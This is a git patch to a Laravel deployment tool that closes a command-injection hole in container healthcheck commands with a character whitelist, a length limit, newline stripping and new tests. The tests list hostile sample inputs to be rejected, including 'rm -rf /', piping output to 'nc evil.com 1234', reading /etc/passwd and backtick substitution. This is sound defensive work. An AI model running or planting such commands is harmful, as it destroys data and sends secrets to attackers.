From 609cb4190e840626026e689bec85f0f2d12dac92 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 25 Feb 2026 11:28:33 +0100 Subject: [PATCH] fix(health-checks): sanitize and validate CMD healthcheck commands - Add regex validation to restrict allowed characters (alphanumeric, spaces, and specific safe symbols) - Enforce maximum 1000 character limit on healthcheck commands - Strip newlines and carriage returns to prevent command injection - Change input field from textarea to text input in UI - Add warning callout about prohibited shell operators - Add comprehensive validation tests for both valid and malicious command patterns --- app/Jobs/ApplicationDeploymentJob.php | 5 +- app/Livewire/Project/Shared/HealthChecks.php | 4 +- .../project/shared/health-checks.blade.php | 9 +- .../Feature/CmdHealthCheckValidationTest.php | 90 +++++++++++++++++++ .../Unit/HealthCheckCommandInjectionTest.php | 59 ++++++++++++ 5 files changed, 160 insertions(+), 7 deletions(-) create mode 100644 tests/Feature/CmdHealthCheckValidationTest.php diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index be74cd1fb..b4d8d9204 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -2758,9 +2758,10 @@ private function generate_healthcheck_commands() { // Handle CMD type healthcheck if ($this->application->health_check_type === 'cmd' && ! empty($this->application->health_check_command)) { - $this->full_healthcheck_url = $this->application->health_check_command; + $command = str_replace(["\r\n", "\r", "\n"], ' ', $this->application->health_check_command); + $this->full_healthcheck_url = $command; - return $this->application->health_check_command; + return $command; } // HTTP type healthcheck (default) diff --git a/app/Livewire/Project/Shared/HealthChecks.php b/app/Livewire/Project/Shared/HealthChecks.php index 3460b6c2c..0d5d71b45 100644 --- a/app/Livewire/Project/Shared/HealthChecks.php +++ b/app/Livewire/Project/Shared/HealthChecks.php @@ -19,7 +19,7 @@ class HealthChecks extends Component #[Validate(['string', 'in:http,cmd'])] public string $healthCheckType = 'http'; - #[Validate(['nullable', 'required_if:healthCheckType,cmd', 'string'])] + #[Validate(['nullable', 'required_if:healthCheckType,cmd', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'])] public ?string $healthCheckCommand = null; #[Validate(['required', 'string', 'in:GET,HEAD,POST,OPTIONS'])] @@ -61,7 +61,7 @@ class HealthChecks extends Component protected $rules = [ 'healthCheckEnabled' => 'boolean', 'healthCheckType' => 'string|in:http,cmd', - 'healthCheckCommand' => 'nullable|string', + 'healthCheckCommand' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'], 'healthCheckPath' => ['required', 'string', 'regex:#^[a-zA-Z0-9/\-_.~%]+$#'], 'healthCheckPort' => 'nullable|integer|min:1|max:65535', 'healthCheckHost' => ['required', 'string', 'regex:/^[a-zA-Z0-9.\-_]+$/'], diff --git a/resources/views/livewire/project/shared/health-checks.blade.php b/resources/views/livewire/project/shared/health-checks.blade.php index c181f3f1a..8662b0b50 100644 --- a/resources/views/livewire/project/shared/health-checks.blade.php +++ b/resources/views/livewire/project/shared/health-checks.blade.php @@ -52,11 +52,14 @@ @else {{-- CMD Healthcheck Fields --}} + +

This command runs inside the container on every health check interval. Shell operators (;, |, &, $, >, <) are not allowed.

+
-
@endif diff --git a/tests/Feature/CmdHealthCheckValidationTest.php b/tests/Feature/CmdHealthCheckValidationTest.php new file mode 100644 index 000000000..038f3000e --- /dev/null +++ b/tests/Feature/CmdHealthCheckValidationTest.php @@ -0,0 +1,90 @@ + str_repeat('a', 1001)], + ['healthCheckCommand' => $commandRules] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('accepts healthCheckCommand under 1000 characters', function () use ($commandRules) { + $validator = Validator::make( + ['healthCheckCommand' => 'pg_isready -U postgres'], + ['healthCheckCommand' => $commandRules] + ); + + expect($validator->fails())->toBeFalse(); +}); + +it('accepts null healthCheckCommand', function () use ($commandRules) { + $validator = Validator::make( + ['healthCheckCommand' => null], + ['healthCheckCommand' => $commandRules] + ); + + expect($validator->fails())->toBeFalse(); +}); + +it('accepts simple commands', function ($command) use ($commandRules) { + $validator = Validator::make( + ['healthCheckCommand' => $command], + ['healthCheckCommand' => $commandRules] + ); + + expect($validator->fails())->toBeFalse(); +})->with([ + 'pg_isready -U postgres', + 'redis-cli ping', + 'curl -f http://localhost:8080/health', + 'wget -q -O- http://localhost/health', + 'mysqladmin ping -h 127.0.0.1', +]); + +it('rejects commands with shell operators', function ($command) use ($commandRules) { + $validator = Validator::make( + ['healthCheckCommand' => $command], + ['healthCheckCommand' => $commandRules] + ); + + expect($validator->fails())->toBeTrue(); +})->with([ + 'pg_isready; rm -rf /', + 'redis-cli ping | nc evil.com 1234', + 'curl http://localhost && curl http://evil.com', + 'echo $(whoami)', + 'cat /etc/passwd > /tmp/out', + 'curl `whoami`.evil.com', + 'cmd & background', + 'echo "hello"', + "echo 'hello'", + 'test < /etc/passwd', + 'bash -c {echo,pwned}', + 'curl http://evil.com#comment', + 'echo $HOME', + "cmd\twith\ttabs", + "cmd\nwith\nnewlines", +]); + +it('rejects invalid healthCheckType', function () { + $validator = Validator::make( + ['healthCheckType' => 'exec'], + ['healthCheckType' => 'string|in:http,cmd'] + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('accepts valid healthCheckType values', function ($type) { + $validator = Validator::make( + ['healthCheckType' => $type], + ['healthCheckType' => 'string|in:http,cmd'] + ); + + expect($validator->fails())->toBeFalse(); +})->with(['http', 'cmd']); diff --git a/tests/Unit/HealthCheckCommandInjectionTest.php b/tests/Unit/HealthCheckCommandInjectionTest.php index 87a7c3709..9bfc046b0 100644 --- a/tests/Unit/HealthCheckCommandInjectionTest.php +++ b/tests/Unit/HealthCheckCommandInjectionTest.php @@ -165,12 +165,69 @@ expect($validator->fails())->toBeFalse(); }); +it('generates CMD healthcheck command directly', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => 'pg_isready -U postgres', + ]); + + expect($result)->toBe('pg_isready -U postgres'); +}); + +it('strips newlines from CMD healthcheck command', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => "redis-cli ping\n&& echo pwned", + ]); + + expect($result)->not->toContain("\n") + ->and($result)->toBe('redis-cli ping && echo pwned'); +}); + +it('falls back to HTTP healthcheck when CMD type has empty command', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => '', + ]); + + // Should fall through to HTTP path + expect($result)->toContain('curl -s -X'); +}); + +it('validates healthCheckCommand rejects strings over 1000 characters', function () { + $rules = [ + 'healthCheckCommand' => 'nullable|string|max:1000', + ]; + + $validator = Validator::make( + ['healthCheckCommand' => str_repeat('a', 1001)], + $rules + ); + + expect($validator->fails())->toBeTrue(); +}); + +it('validates healthCheckCommand accepts strings under 1000 characters', function () { + $rules = [ + 'healthCheckCommand' => 'nullable|string|max:1000', + ]; + + $validator = Validator::make( + ['healthCheckCommand' => 'pg_isready -U postgres'], + $rules + ); + + expect($validator->fails())->toBeFalse(); +}); + /** * Helper: Invokes the private generate_healthcheck_commands() method via reflection. */ function callGenerateHealthcheckCommands(array $overrides = []): string { $defaults = [ + 'health_check_type' => 'http', + 'health_check_command' => null, 'health_check_method' => 'GET', 'health_check_scheme' => 'http', 'health_check_host' => 'localhost', @@ -182,6 +239,8 @@ function callGenerateHealthcheckCommands(array $overrides = []): string $values = array_merge($defaults, $overrides); $application = Mockery::mock(Application::class)->makePartial(); + $application->shouldReceive('getAttribute')->with('health_check_type')->andReturn($values['health_check_type']); + $application->shouldReceive('getAttribute')->with('health_check_command')->andReturn($values['health_check_command']); $application->shouldReceive('getAttribute')->with('health_check_method')->andReturn($values['health_check_method']); $application->shouldReceive('getAttribute')->with('health_check_scheme')->andReturn($values['health_check_scheme']); $application->shouldReceive('getAttribute')->with('health_check_host')->andReturn($values['health_check_host']);